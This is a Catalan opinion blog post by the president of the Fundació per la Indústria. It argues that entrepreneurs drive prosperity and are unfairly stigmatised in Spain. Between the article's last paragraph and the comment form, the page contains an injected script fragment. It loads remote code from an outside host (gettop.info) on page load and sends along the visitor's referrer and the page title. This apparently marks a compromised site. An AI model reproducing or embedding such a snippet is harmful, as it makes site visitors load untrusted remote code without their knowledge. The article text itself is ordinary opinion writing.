Blog

SÓN PRESCINDIBLES ELS EMPRESARIS ?

Article d’opinió de Francesc Garcia-Planas, president de la Fundació per la Indústria i vicepresident de la Fundació

Una societat que respecta la llibertat de l‘individu -i en la que per tant aquesta no es veu coartada ó menys tinguda per l’aparell estatal- es desenvolupa i prospera quan posa en marxa les potencialitats de les que disposa i quan incentiva el desplegament d’idees, creativitat, voluntats i energies dels seus ciutadans.

L’empresari és un actor fonamental en aquest escenari perquè actua com a catalitzador i dinamitzador d’aquestes capacitats latents de la societat i es converteix en un vehicle de progrés al servei de la mateixa.

Des d’una perspectiva merament econòmica, l’empresari realitza funcions essencials pel correcte funcionament del sistema de mercat en el que es mouen les economies més pròsperes.

Estem parlant d’una figura, especialment l’empresari industrial, que esdevé agent de producció imprescindible ja que dinamitza el sistema productiu fent de mitjancer entre altres agents que aporten factors i els combina per generar valor afegit assegurant renda i benestar, tot assumint personalment el risc que comporta tota activitat empresarial.

L’empresari genera llocs de treball i riquesa per a la societat impulsant el desenvolupament econòmic també a través de la innovació : traslladant coneixement, descobriments i novetats tecnològiques a finalitats i usos productius.

En aquest punt ens podríem preguntar quins són els motius que mouen a les persones a posar en marxa una empresa.

Més enllà del lícit afany de lucre –factor legítim que es troba en l’essència del funcionament de las economies de mercat -, existeixen dades objectives i estudis diversos que demostren que els empresaris es mouen també per la tasca creativa que implica el seu projecte empresarial, per la responsabilitat social i personal que suposa crear llocs de treball i pel prestigi social que hauria de suposar el desenvolupament de la pròpia empresa.

Seria per tant lògic pensar que els aspectes mencionats fossin socialment acceptats i assimilats i també la figura de l’empresari socialment reconeguda però el fet és que al nostre país desgraciadament, tant l’empresari com el paper econòmic i social que desenvolupa compten amb una insuficient valoració pública: un 62% dels espanyols pensen que als empresaris tan sols els preocupa la seva butxaca i un 53% pensen que se n ‘aprofiten del treball dels seus empleats (dades de l’eurobarómetre sobre “entrepreneurship”), percentatges que estan molt per sobre dels països més desenvolupats de la UE .

Diversos factors històrics, socials, culturals, econòmics i polítics poden explicar la baixa consideració que encara avui en dia es té al nostre país envers la figura de l’empresari.

Entre elles podríem destacar el vell prejudici aristocràtic contra el treball, la desconfiança que genera el sistema capitalista en països de tradició catòlica i també la mateixa idiosincràsia de la nostra societat que genera aversió al risc, por al fracàs i desconfiança envers l’èxit dels altres.

Un altre factor és l’antic esquema de pensament tan propi de la pell de brau que s’ha mostrat històricament partidària d’un fort aparell estatal fent prevaldre la inversió pública i regulant sense mesura l’activitat empresarial i laboral.

També la dictadura va exacerbar aquests factors de tipus sociològic i cultural desconfiant de l’economia de mercat i de la iniciativa privada i abocant-se a un intervencionisme regulador totalment nociu per a l’activitat emprenedora.

Afortunadament, a poc a poc s’han anat superant molts dels antics prejudicis però han calat de manera tan profunda en la societat que són de molt difícil eliminació.

Mostra d’aquest lent canvi d’actitud, però també de certa ambigüitat és que un 83% dels espanyols considera que els empresaris beneficien a tots amb la creació de la riquesa que generen (dades del eurobarómetre sobre “entrepreneurship”).

Malgrat això, l’erosió de la imatge pública de l’empresari ha crescut darrerament al nostre país a causa dels escàndols de corrupció urbanística que s’han produït amb l’episodi de la bombolla immobiliària i en aquests casos, amb l’especial càrrega mediàtica que els ha acompanyat, ha estat ben fàcil que el ciutadà confongués la falta d’ètica personal de determinats individus amb l’activitat general que desenvolupen.

Però el fet de què existeixin persones amb pocs escrúpols que, aprofitant-se de la seva activitat empresarial, realitzin també activitats moralment reprovables ó inclús il·lícites, no és una característica definitòria de l’empresari.

Un altra cosa és que, degut precisament a la seva important funció social, l’exercici exemplar de l’activitat té, si cap, major importància i per tant la societat l’ha d’exigir inclús en major mesura.

En aquests moments d’extremes dificultats i crisi econòmica s’ha tornat a tractar injustament la imatge de l’empresariat del nostre país, ja que fins i tot se’ls ha arribat a acusar de ser els causants de la crítica conjuntura econòmica quan en realitat l’empresari està vivint en pròpia persona els efectes de la crisi -especialment pimes i autònoms- i, en tot cas, no podem obviar les responsabilitats dels diferents governs que no han sabut aturar amb polítiques adequades els desequilibris de la nostra economia afrontant en el seu moment les reformes oportunes.

El fet de què no es valori en la seva justa mesura l’aportació que els empresaris han realitzat pel progrés econòmic i social i el paper fonamental que tenen de realitzar en el desenvolupament d’un necessari nou model productiu, es pot convertir en un descrèdit que no pot fer més que frenar als emprenedors futurs, limitant les possibilitats de completar amb èxit la transició cap a una nova estructura productiva i posar dificultats a la urgent creació d’ocupació.

El més important en aquests moments és per tant, no solament ajudar en allò essencial a l’empresariat pel que fa al seu entorn – legal, regulatori i econòmic -, sinó també recolzar-lo socialment tot evitant la seva estigmatització, ja que, en cas contrari, un dels impactes més negatius de la crisi serà el missatge que estarem transmetent a la propera generació de potencials empresaris, desanimant-los en el seu esperit emprenedor i minvant les possibilitats d’una ferma recuperació .

Avui més que mai es fa necessari prendre les accions necessàries per donar a conèixer la veritable importància que té l’empresari pel benestar de tota la societat, especialment en uns moments en què necessitem persones amb idees i valentia empresarial per a generar ocupació i assentar un creixement equilibrat i que duri.

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Deixa un comentari

L'adreça electrònica no es publicarà Els camps necessaris estan marcats amb *

Podeu fer servir aquestes etiquetes i atributs HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>